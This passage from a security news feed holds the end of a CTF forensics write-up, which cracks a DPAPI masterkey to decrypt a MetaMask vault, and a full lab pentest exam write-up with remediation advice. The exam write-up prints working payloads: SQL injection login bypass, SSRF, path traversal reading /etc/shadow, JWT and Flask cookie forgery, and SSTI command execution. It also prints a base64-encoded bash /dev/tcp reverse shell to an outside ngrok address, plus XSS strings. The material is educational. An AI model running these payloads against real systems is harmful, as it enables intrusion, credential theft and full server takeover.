look:</p><pre>{"data":"FF+4Fwzlmqu5/v85xYso8fgUQR6uRybNx6t5yhwIRmb4omPFYNP2q6qsKsu7vXAWi8PMWQzZYjCH8dOazNMV/W8RWau78EkZDJoILIW9vhKONrjd1EsTG3Ywi+hFxOlZAAsPLlGY13QfEDAfaKjBrligdhtzziOTPo7Quu16nwwjGigJxSJrD7DRNP4+Jw1dgatFD2iWSjy5DgzMWHbiAFvo436OYYUOirz95u/nF7HsI9Zz39RKC12uasViHytKBs/oAzEhqy8PCqdVwNQD4fbgoGSJqO9Up1etA5nj+ETYhIg900kh3L58LoeTbDTU8wK/wD3PPVrxMmMOKUmP6TwDhPG2FY92YTgqLXP7t/w3Is85sEUh0fsPdSTnFV3HVYDLMBOqJCRVe1iyzIvEj/l/T7yMzXHZdIrNtR+3hIo6k3Ep3izwzZaExkHbsIoJQiCjQoDcmo8nRltE54FU1ijdQCtd94yk7gx2/5g5ycAekBOj9tMyNXpL9zPdkvHgvbi1wOP1BsE/+Rftj5OJtQVpQ14Mb91FznyB37OUMU/D996ltEfd2A6hfEF+D0Vros/UDYkaxL0urTmy6GEJUPKkyftDLFRfmypyxzlrPFGhwMUpEycVXNiVu7YN1Il3CD5cFM88jDNmvyIGWru9YRsF1jIuvhEeF2YWQ7YSc0vnQZExCWhHQFPS33CGq/8CoADwSEzqaWxgYM04CsAeA68aqZTNZgBFYexaLsnu09V+aNYCXHLjAmB52lMVOy0v42d1S21zQ4rr862Rt+a3mTGVmtGvITd3w2vPREoxZcEbeW89R//vSmjLwW0+KQVD6mlLKzo5o9pS7+NJhgivF/KZUDnyMSLdMDf9IzrazOvIRUXWgQOLr86YpJ/GE2w/Hq1UZRldvEEg6YOs6tmOEQjR/4+xeQaLRpWO9bs8/KmQFljSOQOgkQfXqileC0q+vz+619fFHBYZMoEKVOKfDZFf/A5oeXfx5oE2tLb9t4MGkS9YGQC0lPNA+DVELYPPKqlK24/GQ7ceWimbCDDEdbLHxNe/CRr1GEf2s1SBdRaoeYS7EQnay1Uo/vEym+ConX5jlFHBixtmqwXq3cZP41eV6RIykYcx+sW9CACJDZvn6xs8kXSHbmHWy4vJqcOUbSsVnYPTyqFep1mCxtqU0fXXJAVFB1sVfVsf3oF/eZxrgS+CEDE91NMoyhdNVLPohd/fs6BUk9kr+1rqE5HsU+UqTaFaLLjgwOIHvVnqk9Boto7zonIAVTq6BPM/nZengxIYRoFee7e5ddVzCmcSR+SexxVU7/ctRuHMBPKtGmU49pvqU1JL8YBCRaZOwoFyKbMYc3hEOfjfkKLExLrU/Gcmq5or180YiMoPa5Cq+nPoj1ByXq1KP4JBjZ89Tlj7d+Q0eUaMO3IqhmDx+181FVwb9wUQtKkzWdL3Ie8We1sX9/VS0AdL3lyw7Sb2G73MMEOUzhrMuJ7rrToRAw==","iv":"NJ5Mq2Azg7GzwgKc8ZgXDA==","keyMetadata":{"algorithm":"PBKDF2","params":{"iterations":600000}},"salt":"AZBa8AhppeaO1hoa1PyhIgUViSH3CF8urWwW2OxkHtg="}</pre><p>now let’s hop on <a href="https://metamask.github.io/vault-decryptor/"><strong>MetaMask Vault Decryptor</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gWBsMzJSVKWCqvajbMYcUw.png"></figure><p>now we need to get the correct password. Since SAM registry file was deleted, we don’t have any other option to get the password, except “<strong>DPAPI</strong>”<br>Windows API that encrypts user secrets using the user’s login password; stored in AppData\Roaming\Microsoft\Protect\&lt;SID&gt; as AES-encrypted masterkeys.</p><p>So, we need the<strong> </strong>user’s DPAPI masterkey file : AppData\Roaming\Microsoft\Protect\S-1-5-21-2430665207-3300790704-3908932582-1001\a3ef4996-d3ea-422c-9de1-62931c21fb47and the user SID: <br>S-1-5-21-2430665207-3300790704-3908932582-1001to extract a hash for password cracking. since we have both, let’s get to kali machine quickly.</p><p>we have <a href="https://www.kali.org/tools/john/#dpapimk2john"><strong><em>DPAPImk2john</em></strong></a> tool that can significantly simplify our work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m3Yd6v42LvW4f8YG-W_DRw.png"><figcaption><strong>step 1</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rK4162iU7Qp9_odkqq7kKA.png"><figcaption><strong>step 2 (not necessary)</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wywD0fl9sHgarOzlHaWGzA.png"><figcaption><strong>step 3</strong></figcaption></figure><p>Now we got everything, let’s head back to <a href="https://metamask.github.io/vault-decryptor/"><strong>MetaMask Vault Decryptor</strong></a><strong> </strong>with password “<strong><em>iloveyou2</em></strong>”, and decrypt the vault to get the Secret Backup Phrase</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OftWzrRxMb_rCWTH8ee4BA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*kWiYFGI2ZiFNI9rE_x9lww.png"></figure><h4>Thanks For Reading, Hope u enjoyed ❤</h4><p>Keep in touch with me via:</p><p><a href="https://www.linkedin.com/in/loay-salah"><strong>LinkedIn</strong></a></p><p><strong>Discord</strong>: prankster99</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=6d66c31cce9a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/connectors-ctf-2025-dfir-challenges-6d66c31cce9a">Connectors CTF 2025 — DFIR Challenges</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[My Instructor Said “You Can’t Get a Shell.” I Got Root. — Full Web Pentest Exam Write-Up]]></title>
<description><![CDATA[Author: Shikhali JamalzadeGitHub: github.com/alisalive LinkedIn: linkedin.com/in/camalzadsDisclosure Notice: This assessment was conducted as a formal practical examination under the supervision of MilliSec LLC. The target applicationVanguardCorp Hotel Management System — was a purpose-built CTF/...]]></description>
<link>https://tsecurity.de/de/3599548/hacking/my-instructor-said-you-cant-get-a-shell-i-got-root-full-web-pentest-exam-write-up/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3599548/hacking/my-instructor-said-you-cant-get-a-shell-i-got-root-full-web-pentest-exam-write-up/</guid>
<pubDate>Mon, 15 Jun 2026 17:25:56 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9bh_vFeJ1vSgMartVf7EoA.png"></figure><h4><strong>Author:</strong> <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a><br><strong>GitHub:</strong> <a href="https://github.com/alisalive">github.com/alisalive</a> <br><strong>LinkedIn:</strong> <a href="https://linkedin.com/in/camalzads">linkedin.com/in/camalzads</a></h4><blockquote><strong><em>Disclosure Notice:</em></strong><em> This assessment was conducted as a formal practical examination under the supervision of MilliSec LLC. The target application<br>VanguardCorp Hotel Management System — was a purpose-built CTF/exam environment deployed specifically for this assessment on May 24, 2026. No real user data was involved. All exploitation was performed within an isolated lab network. This write-up is published strictly for educational purposes.</em></blockquote><h3>The Setup</h3><p>Before the exam started, my instructor — the person who built the target application from scratch — looked me in the eye and said:</p><blockquote>“You can’t get a shell from this site. I haven’t left that kind of vulnerability.”</blockquote><p>5 minutes later, I had a root shell.</p><p>Not a www-data shell. Not a limited user. Root. uid=0(root). The web application process itself was running as the system's superuser, which meant the moment I achieved code execution, I owned the entire machine at the highest possible privilege level.</p><p>This is the full story of that exam — every finding, every payload, the complete attack chain, and why a five-vulnerability chain starting from a single unauthenticated endpoint ended at full OS compromise.</p><h3>Context</h3><p>This was a practical penetration testing examination conducted at MilliSec LLC on May 24, 2026. The format: black-box. No source code, no credentials, no architecture knowledge. Just an IP address and ten hours.</p><p>The target was the <strong>VanguardCorp Hotel Management System</strong> — a custom-built Flask/Jinja2 web application backed by SQLite and proxied through nginx. The scope covered the full application: authentication, API endpoints, user functionality, administrative panel, and everything in between.</p><p>Parameter Detail Target VanguardCorp Hotel Management System Target IP 82.153.241.96 Attacker IP 10.0.2.5 (isolated lab VM) Technology Stack Python / Flask, Jinja2, SQLite, nginx Assessment Type Black-Box Web Application Penetration Test Assessment Date May 24, 2026 Exclusions Denial of Service; actions beyond demonstration of impact</p><p>The final report documented <strong>ten confirmed vulnerabilities</strong> — five rated Critical, five rated High. CVSS scores ranged from 7.5 to 9.8.</p><p>But the number that mattered most: <strong>1 root shell</strong>.</p><h3>Phase 1: Reconnaissance — Reading the Application</h3><p>The first thing I do on any black-box engagement is just use the application like a normal person. Click everything. Notice what changes in the URL. Watch what headers come back. This phase is slower than running a scanner, but it gives you a mental model that tools can’t.</p><p>The VanguardCorp application presented itself as a hotel management platform: browsable destinations, user registration and login, a booking system, a profile page, reviews, and a legal document section in the footer. The admin panel was accessible at /admin/login.</p><p>Technology fingerprinting gave me:</p><ul><li><strong>Flask</strong> session cookies (identifiable by the eyJ base64 prefix)</li><li><strong>Jinja2</strong> template engine (implied by the Flask stack)</li><li><strong>nginx/1.18.0</strong> reverse proxy on Ubuntu</li><li><strong>SQLite</strong> (confirmed later via LFI)</li><li>A /legal?doc=terms.txt link in the footer — a filename parameter that immediately caught my attention</li></ul><p>That doc parameter is the kind of thing that looks boring on first glance. It isn't.</p><h3>Phase 2: First Blood — SQL Injection on Login</h3><p>The login form was the natural first target. I started with the most fundamental injection test: a single quote in the username field. The application returned a server error rather than a generic “invalid credentials” message — a strong signal that the input was landing directly in a SQL query.</p><h3>F-01 — SQL Injection: Authentication Bypass</h3><p><strong>Severity</strong> CRITICAL <br><strong>CVSS v3.1</strong> 9.4 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H <br><strong>OWASP</strong> A03:2021 — Injection <br><strong>Affected</strong> /login and /admin/login</p><p>The payload was as simple as it gets:</p><pre>Username: ' OR '1'='1' --<br>Password: anything</pre><p>The application returned a valid authenticated session for the first user record in the database. I applied the same payload to /admin/login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*Ry1S0bkmF6yes8Z7Jqzg_Q.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*_BarRyDHEw3dQcjG8p-cAQ.png"></figure><p>The redirect landed me on the full administrative control panel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*y4frar_fnufqABjbYv8E5Q.png"></figure><p>The admin panel exposed a live dashboard showing registered clients, active properties, total reservations, and gross revenue — plus a full client inquiry log that already contained SQL injection payloads submitted by other testers during prior sessions. I was not the first person to find this.</p><p><strong>Why this works:</strong> The login handler constructs a SQL query by string-concatenating the user-supplied username directly into the query body. The injected OR '1'='1' makes the WHERE clause always evaluate to true, returning the first row in the users table. The -- comment sequence discards everything after it, including the password check.</p><p><strong>Remediation:</strong> Replace dynamic SQL with parameterised queries or prepared statements. One-line fix at the database layer.</p><h3>Phase 3: SSRF — The Application Talks to Itself</h3><p>With admin access established, I turned to the API endpoints. The resort preview functionality accepted a URL parameter and fetched its content server-side — a textbook Server-Side Request Forgery surface.</p><h3>F-02 — Server-Side Request Forgery (SSRF)</h3><p><strong>Severity</strong> CRITICAL <br><strong>CVSS v3.1</strong> 9.1 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N <br><strong>OWASP</strong> A10:2021 — Server-Side Request Forgery <br><strong>Affected</strong> /api/v1/resort/preview?url= <br><strong>Flags</strong> CTF{SSRF_gives_internal_access} | CTF{SSRF_env_disclosure}</p><p>I directed the server to request its own loopback interface:</p><pre>GET /api/v1/resort/preview?url=http://127.0.0.1/internal/config</pre><p>The server returned its own internal configuration page — exposing the Flask session secret key, the JWT signing secret, and the admin password in a single request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*e3zI-5p8glPXdoZqE0eTsA.png"></figure><p>A second request to the debug endpoint returned process environment variables:</p><pre>GET /api/v1/resort/preview?url=http://127.0.0.1/debug/env</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*6q10xmYCfjVoGphdwx-Efw.png"></figure><p><strong>Credentials and secrets obtained at this stage:</strong></p><p>Secret Value Admin password VanguardCorpAdmin2026! Flask session secret key vanguard_horizon_secret_2026 JWT signing secret secret</p><p>These three values became the keys to everything that followed.</p><h3>Phase 4: LFI — Reading the Server From the Inside</h3><p>That doc parameter from the footer had been waiting for me. The application served legal documents by reading filenames from the URL — with no path sanitisation whatsoever.</p><h3>F-03 — Local File Inclusion (LFI): Source Code and File Exposure</h3><p><strong>Severity</strong> CRITICAL <br><strong>CVSS v3.1</strong> 8.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N <br><strong>OWASP</strong> A01:2021 — Broken Access Control <br><strong>Affected</strong> /legal?doc= parameter</p><p>Path traversal payloads worked immediately:</p><pre># System user list<br>GET /legal?doc=%2Fetc%2Fpasswd</pre><pre># Shadow file — root password hash<br>GET /legal?doc=%2Fetc%2Fshadow</pre><pre># Flask source code<br>GET /legal?doc=%2Froot%2Fapp.py</pre><pre># SQLite database<br>GET /legal?doc=%2Froot%2Fvanguard.db</pre><pre># Bash history<br>GET /legal?doc=%2Froot%2F.bash_history</pre><pre># Process environment<br>GET /legal?doc=%2Fproc%2Fself%2Fenviron</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*tm_-3ybVUCE_fQv9kK5zJg.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*XIDRmt4ccqobr59e4x6iiA.png"></figure><p>/etc/passwd already told me something critical: the web application process was running as root. That single fact meant that any code execution I achieved would immediately be root-level.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*1zW4wdv77Drefy1Ovy8Dzw.png"></figure><p>The full source confirmed what SSRF had already leaked: app.secret_key = "vanguard_horizon_secret_2026". It also revealed the SSTI vector — but more on that shortly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*P13mBXSon6ss6em_qPB2iw.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*KpVvFIRAoIqOZ8XrHE52hA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pbJZVCODB0KaVcELsTQ34w.png"></figure><p><strong>Complete file exfiltration summary:</strong></p><p>File Content /etc/passwd Full system user list — process confirmed running as root /etc/shadow Root user password hash exposed /root/app.py Complete Flask source — all routes, secret keys, business logic /root/vanguard.db Full database — all users, invoices, hotel data, credentials /root/.bash_history Server setup commands — confirmed Python/Flask/SQLite stack /proc/self/environ Process environment — additional configuration disclosure</p><p><strong>Remediation:</strong> Validate all filename input server-side. Resolve the absolute path and confirm it sits within the permitted base directory before reading. Never run the web process as root.</p><h3>Phase 5: JWT Forgery — Becoming Superadmin</h3><p>With the JWT signing secret confirmed as secret, forging a privileged token was a one-liner.</p><h3>F-04 — JWT Weak Secret: Token Forgery</h3><p><strong>Severity</strong> CRITICAL <br><strong>CVSS v3.1</strong> 8.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N <br><strong>OWASP</strong> A02:2021 — Cryptographic Failures <br><strong>Affected</strong> POST /api/v1/token — JWT issuance and verification <br><strong>Flag</strong> CTF{JWT_alg_none_is_never_safe}</p><pre>python3 -c "<br>import jwt<br>payload = {'user_id': 1, 'username': 'admin', 'role': 'superadmin'}<br>token = jwt.encode(payload, 'secret', algorithm='HS256')<br>print(token)<br>"</pre><pre>curl -H "Authorization: Bearer &lt;FORGED_TOKEN&gt;" \<br>  http://82.153.241.96/api/v1/admin/data</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*eQZtPG04rqWgvc1vh3epDw.png"></figure><p>The API returned the full user database and confirmed CTF{JWT_alg_none_is_never_safe}.</p><p><strong>Why this is catastrophic:</strong> A JWT signed with a weak, guessable, or exposed secret is not a security control — it is a signed permission slip that anyone can forge. The moment the secret leaks (via SSRF, LFI, source code, or a disgruntled employee), every JWT-protected endpoint in the application is fully compromised.</p><h3>Phase 6: SSTI — “You Can’t Get a Shell”</h3><p>This is where the exam got interesting.</p><p>The source code I retrieved via LFI contained the profile route:</p><pre>template = """...""" + session["username"] + """..."""<br>return render_template_string(template, ...)</pre><p>The username value from the Flask session cookie was being <strong>concatenated directly into a Jinja2 template string</strong> before rendering. This is Server-Side Template Injection — any Jinja2 expression in the username gets evaluated server-side.</p><p>But to exploit this, I needed two things I already had:</p><ol><li>The Flask session secret key — to forge a signed session cookie with a malicious username</li><li>Code execution context — to run OS commands</li></ol><p>Both were already in my hands from SSRF and LFI.</p><h3>F-05 — Server-Side Template Injection (SSTI): Remote Code Execution</h3><p><strong>Severity</strong> CRITICAL <br><strong>CVSS v3.1</strong> 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H <br><strong>OWASP</strong> A03:2021 — Injection <br><strong>Affected</strong> /profile — Flask session username rendered via render_template_string() <br><strong>Status</strong> Confirmed — RCE achieved as <strong>root</strong></p><p><strong>Step 1: Confirm SSTI</strong></p><p>First, I verified template evaluation with a benign arithmetic payload. I forged a session cookie with username = {{7*7}} using the known Flask secret:</p><pre>from flask import Flask<br>from flask.sessions import SecureCookieSessionInterface</pre><pre>app = Flask(__name__)<br>app.secret_key = "vanguard_horizon_secret_2026"</pre><pre>payload = "{{7*7}}"</pre><pre>s = SecureCookieSessionInterface().get_signing_serializer(app)<br>print(s.dumps({<br>    "role": "admin",<br>    "user_id": 1,<br>    "username": payload,<br>    "verified": True<br>}))</pre><pre>curl -s -b "session=&lt;FORGED_COOKIE&gt;" http://82.153.241.96/profile</pre><p>The profile page rendered <strong>Client Dossier: 49</strong>. Template evaluation confirmed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*gR7BpOC_81S3kEVWUqyq5w.png"></figure><p><strong>Step 2: RCE via OS command execution</strong></p><p>With SSTI confirmed, I escalated to OS command execution using the Jinja2 config object to access the os module:</p><pre>payload = r"""{{config.__class__.__init__.__globals__['os'].popen('id').read()}}"""</pre><p>The server returned uid=0(root) gid=0(root) groups=0(root).</p><p>My instructor had said shell access was impossible. The server was running as root, and I had code execution.</p><p><strong>Step 3: Reverse shell via ngrok tunnel</strong></p><p>Here is where the real challenge started. My attacker machine was behind NAT — 192.168.0.36 is a private address unreachable from the internet. A standard reverse shell to a local IP would never connect back.</p><p>The solution: tunnel the reverse shell through ngrok, which exposes a local listener to the internet via a public TCP endpoint.</p><p>After configuring ngrok with an auth token and opening a TCP tunnel on port 4444:</p><pre>./ngrok tcp 4444<br># Output: Forwarding tcp://0.tcp.in.ngrok.io:20699 -&gt; localhost:4444</pre><p>With the public ngrok address in hand, I crafted the reverse shell payload. The key was that bash -i &gt;&amp; /dev/tcp/HOST/PORT doesn't resolve domain names natively — it needs a direct IP. I resolved the ngrok address first:</p><pre>nslookup 0.tcp.in.ngrok.io<br># 3.6.231.193</pre><p>Then built the complete forged session cookie with the base64-encoded reverse shell:</p><pre>from flask import Flask<br>from flask.sessions import SecureCookieSessionInterface<br>import base64</pre><pre>app = Flask(__name__)<br>app.secret_key = "vanguard_horizon_secret_2026"</pre><pre>cmd = "bash -i &gt;&amp; /dev/tcp/3.6.231.193/20699 0&gt;&amp;1"<br>b64 = base64.b64encode(cmd.encode()).decode()</pre><pre>payload = "{{config.__class__.__init__.__globals__['os'].popen('echo " + b64 + "|base64 -d|bash').read()}}"</pre><pre>s = SecureCookieSessionInterface().get_signing_serializer(app)<br>print(s.dumps({<br>    "role": "admin",<br>    "user_id": 1,<br>    "username": payload,<br>    "verified": True<br>}))</pre><pre># TAB 1 — Listener<br>nc -lnvp 4444</pre><pre># TAB 2 — Trigger the payload<br>curl -s -b "session=$SHELL_COOKIE" <a href="http://82.153.241.96/profile">http://82.153.241.96/profile</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*xpB4zFxpc1EIBHCMfZah_A.png"></figure><p>The listener received the connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*vJ0QFox_i3VIY3P8GoDpXg.png"></figure><pre>root@82.153.241.96:~# id<br>uid=0(root) gid=0(root) groups=0(root)<br>root@82.153.241.96:~# whoami<br>root</pre><p><strong>Full OS compromise. As root.</strong></p><p>The web application was running as the system superuser — meaning there was no privilege escalation step required. The moment code execution was achieved via SSTI, I had the highest possible access level on the machine.</p><p><strong>The extra finding here:</strong> A web application should never run as root. Even if SSTI had been patched, a correctly configured server would limit the impact of any future RCE to a low-privilege www-data or application user. Running as root amplifies every code execution vulnerability to full system compromise with zero additional steps.</p><p><strong>Remediation:</strong></p><pre># Vulnerable:<br>return render_template_string("Hello " + session['username'])</pre><pre># Safe:<br>return render_template_string("Hello {{ name }}", name=session['username'])</pre><p>Never concatenate user-controlled data into template strings. Run the web process as a dedicated low-privilege user, never root.</p><h3>Phase 7: The Remaining Findings</h3><p>With the crown jewel secured, I documented the remaining vulnerabilities methodically.</p><h3>F-06 — Stored Cross-Site Scripting (XSS)</h3><p><strong>Severity</strong> HIGH — CVSS 8.2 <br><strong>Affected</strong> Review submission form — rendered in admin panel</p><p>The review form accepted raw HTML without sanitisation. Submitted payloads persisted in the database and executed in the administrator’s browser when viewing the review management page.</p><pre>&lt;img src=x onerror=alert(XSS)&gt;</pre><p><strong>Impact:</strong> An attacker can steal admin session cookies, perform actions on behalf of the administrator, or redirect to phishing pages — all triggered the moment an admin loads the reviews page.</p><h3>F-07 — Reflected Cross-Site Scripting (XSS)</h3><p><strong>Severity</strong> HIGH — CVSS 7.5 <br><strong>Affected</strong> /search?q= parameter</p><p>The search endpoint reflected the q parameter directly into the HTML response without encoding.</p><pre>GET /search?q=&lt;script&gt;alert(XSS)&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n0CBFnDML1ktNBj_nBm06Q.png"></figure><p><strong>Remediation:</strong> Encode all reflected query parameter values before HTML output. Implement a Content Security Policy header.</p><h3>F-08 — Insecure Direct Object Reference (IDOR): Invoice Enumeration</h3><p><strong>Severity</strong> HIGH — CVSS 8.1 <br><strong>Affected</strong> /invoice?invoice_id= parameter</p><p>The invoice endpoint returned records based on a numeric ID without verifying that the requesting user owned the record. Sequential enumeration exposed all invoices across all users.</p><pre>/invoice?invoice_id=1   → my invoice<br>/invoice?invoice_id=2   → Client 1's invoice<br>/invoice?invoice_id=3   → Client 2's invoice<br>...</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kuSSiw5zY3nmrfx9CJbZug.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s8INoofVNwpWpRrkctvYHA.png"></figure><p><strong>Remediation:</strong> Enforce object-level authorisation on every retrieval. Verify the authenticated user’s ID matches the record owner before returning data.</p><h3>F-09 — Missing Authentication on API Endpoint</h3><p><strong>Severity</strong> HIGH — CVSS 8.6 <br><strong>Affected</strong> DELETE /api/v1/hotels/&lt;id&gt; <br><strong>Flag</strong> CTF{missing_auth_on_api_endpoint}</p><p>The hotel DELETE endpoint performed no authentication or authorisation check. Any unauthenticated client could permanently remove hotel records.</p><pre>curl -X DELETE http://82.153.241.96/api/v1/hotels/1<br># Response: HTTP 200 — hotel record permanently deleted</pre><p><strong>Remediation:</strong> Apply mandatory authentication middleware to all state-mutating API routes (POST, PUT, PATCH, DELETE).</p><h3>F-10 — Sensitive Data Exposure: Hardcoded Secrets</h3><p><strong>Severity</strong> HIGH — CVSS 7.7 <br><strong>Affected</strong> Source code and database exfiltrated via LFI (F-03)</p><p>The source code contained hardcoded Flask secret key and JWT signing secret. The database contained plaintext credentials for all users. These were accessible via LFI and SSRF independently.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZIkGKLV8Ob-h2pc6XsaDjA.png"></figure><p><strong>Credentials exposed:</strong></p><p>Flask session secret key vanguard_horizon_secret_2026 JWT signing secret secret Admin password VanguardCorpAdmin2026! Superadmin password SuperSecret99!</p><p><strong>Remediation:</strong> Never hardcode secrets in source code. Store all sensitive configuration in server-side environment variables. Rotate all exposed credentials immediately.</p><h3>The Complete Attack Chain</h3><p>The ten vulnerabilities do not exist in isolation. Here is the exact execution path — from unauthenticated visitor to root shell:</p><pre>[Attacker — No credentials, no prior knowledge]<br>        │<br>        ▼<br>[1] Application recon → identify Flask sessions, /legal?doc= parameter, <br>    SSRF endpoint at /api/v1/resort/preview?url=<br>        │<br>        ▼<br>[2] SQL Injection → POST /login and /admin/login<br>    Payload: ' OR '1'='1' --<br>    Result:  Full admin session, no credentials required   [F-01]<br>        │<br>        ▼<br>[3] SSRF → GET /api/v1/resort/preview?url=http://127.0.0.1/internal/config<br>    Result:  Flask secret key + JWT secret + admin password<br>             CTF{SSRF_gives_internal_access}               [F-02]<br>        │<br>        ├──────────────────────────────────────────────────────────┐<br>        ▼                                                          ▼<br>[4] LFI → GET /legal?doc=%2Froot%2Fapp.py           [4b] JWT Forgery<br>    Result: Full source code → confirms SSTI vector        Forge superadmin token<br>            GET /legal?doc=%2Fetc%2Fpasswd               with signing secret<br>            → process running as root confirmed            CTF{JWT_alg_none_is_never_safe}<br>            GET /legal?doc=%2Froot%2Fvanguard.db   [F-04]<br>            → full database dump               [F-03]<br>        │<br>        ▼<br>[5] SSTI via forged Flask session cookie<br>    username = {{config.__class__.__init__.__globals__['os'].popen('id').read()}}<br>    → id: uid=0(root)                                       [F-05]<br>        │<br>        ▼<br>[6] Reverse shell via ngrok TCP tunnel<br>    cmd = "bash -i &gt;&amp; /dev/tcp/&lt;NGROK_IP&gt;/20699 0&gt;&amp;1"<br>    Encode → base64 | base64 -d | bash<br>    → Listener receives connection<br>        │<br>        ▼<br>[7] root@82.153.241.96:~# whoami<br>    root<br>    ══════════════════════════════<br>    FULL OS COMPROMISE AS ROOT<br>    ══════════════════════════════</pre><p><strong>The chain in plain English:</strong></p><ol><li>SQLi gave admin access with no credentials.</li><li>SSRF leaked the Flask secret key and JWT secret from the server’s own internal config.</li><li>LFI provided full source code confirming the SSTI vulnerability in the profile route.</li><li>With the Flask secret, I forged a session cookie with a Jinja2 OS command payload as the username.</li><li>The server evaluated the payload and executed it as root — because the process had never been stripped of root privileges.</li><li>ngrok tunneled the reverse shell past NAT, and the connection landed on my listener.</li></ol><p>Each vulnerability alone is serious. Chained together, they form a straight line from zero to root.</p><h3>The “Impossible” Shell</h3><p>Let me come back to the statement that opened this write-up.</p><p>My instructor said shell access was not possible. What he likely meant was that there was no obvious command injection, no file upload with execution, no traditional RCE surface visible from standard black-box testing. He was right about the obvious paths.</p><p>What he hadn’t accounted for was the chain:</p><ul><li>SSRF leaking the Flask secret key</li><li>LFI confirming the source code’s SSTI vulnerability</li><li>The combination of those two facts enabling session cookie forgery with a Jinja2 payload</li></ul><p>Each of these findings seemed independent. But the moment you chain SSRF → LFI → SSTI, you have arbitrary code execution. And when the web process runs as root, you have the entire machine.</p><p>The lesson is one that applies to every penetration test: the absence of a single obvious RCE vector does not mean RCE is impossible. It means the path may require more steps.</p><h3>Remediation Priority Roadmap</h3><p><strong>Immediate — 24 hours</strong></p><p><strong>1 · F-01 · SQL Injection</strong> Replace all dynamically constructed SQL queries with parameterised queries or prepared statements.</p><p><strong>2 · F-05 · SSTI / RCE</strong> Pass template variables by context — never concatenate user input into template strings. Run the web process as a dedicated non-root user.</p><p><strong>3 · F-04 · JWT Weak Secret</strong> Rotate the signing secret immediately. Enforce a cryptographically random minimum 256-bit key stored in environment variables, never in source code.</p><p><strong>Urgent — 72 hours</strong></p><p><strong>4 · F-03 · Local File Inclusion</strong> Validate and sanitise all filename parameters. Resolve absolute paths and confirm they reside within the permitted base directory before any file read.</p><p><strong>5 · F-02 · SSRF</strong> Implement an allowlist of permitted outbound destination URLs. Block all requests to RFC 1918 private ranges and loopback addresses. Disable debug and internal config endpoints in production.</p><p><strong>6 · F-10 · Sensitive Data Exposure</strong> Remove all hardcoded secrets from source code. Rotate every exposed credential and secret key immediately following this report.</p><p><strong>High — 1 week</strong></p><p><strong>7 · F-09 · Missing Authentication on API</strong> Apply mandatory authentication middleware to all state-mutating API routes: DELETE, PUT, PATCH, POST.</p><p><strong>8 · F-06 · Stored XSS</strong> Sanitise all user-supplied HTML server-side before database storage. Implement a strict Content Security Policy header.</p><p><strong>9 · F-08 · IDOR</strong> Enforce object-level authorisation on every invoice and resource retrieval. Verify the authenticated user’s ID matches the record owner before returning data.</p><p><strong>Medium — 2 weeks</strong></p><p><strong>10 · F-07 · Reflected XSS</strong> Encode all user-supplied query parameter values before inserting them into HTML responses.</p><h3>Key Takeaways for Developers</h3><p><strong>1. Never run a web application as root.</strong> If code execution is ever achieved — through any vulnerability, at any severity level — a root-running process turns that into immediate full system compromise. Use a dedicated low-privilege service user. Always.</p><p><strong>2. Never concatenate user input into template strings.</strong> Jinja2’s power is its flexibility. That flexibility becomes a weapon the moment user-controlled data enters the template context unseparated from the template logic itself. Pass all user data as context variables with the name=value syntax. Never concatenate.</p><p><strong>3. SSRF can expose secrets that enable completely separate attack chains.</strong> SSRF is often treated as a moderate finding because the direct impact feels limited. In this case, a single SSRF request to /internal/config handed over the keys to JWT forgery and SSTI exploitation. SSRF that can reach internal metadata endpoints or configuration services deserves Critical severity.</p><p><strong>4. LFI on a root-owned process is a full credential dump.</strong> /etc/shadow, database files, source code, .bash_history — all of it is readable when the process runs with unrestricted filesystem access. LFI severity scales directly with the process's OS privilege level.</p><p><strong>5. Secrets in source code cannot be rotated without a deployment.</strong> A secret hardcoded in app.py is exposed every time the source is read — via LFI, version control misconfiguration, or any future breach. Secrets belong in environment variables, managed through a proper secrets store, and rotated independently of code changes.</p><p><strong>6. Test all combinations, not just individual findings.</strong> The individual vulnerabilities here ranged from 